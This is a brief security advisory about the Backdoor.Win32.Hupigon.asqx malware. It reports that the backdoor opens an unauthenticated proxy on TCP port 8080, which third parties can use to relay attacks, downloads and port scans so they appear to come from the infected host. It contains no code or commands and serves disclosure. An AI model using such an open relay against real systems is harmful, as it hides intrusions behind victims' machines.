Threat: Backdoor.Win32.Hupigon.asqx
Vulnerability: Unauthenticated Open Proxy
Description: The malware listens on TCP port 8080. Third-party
attackers who can connect to the infected system can relay requests
from the original connection to the destination and then back to
the origination system. Attackers may then be able to launch
attacks, download files or port scan third party systems and it
will appear as the attacks originated from that infected host.
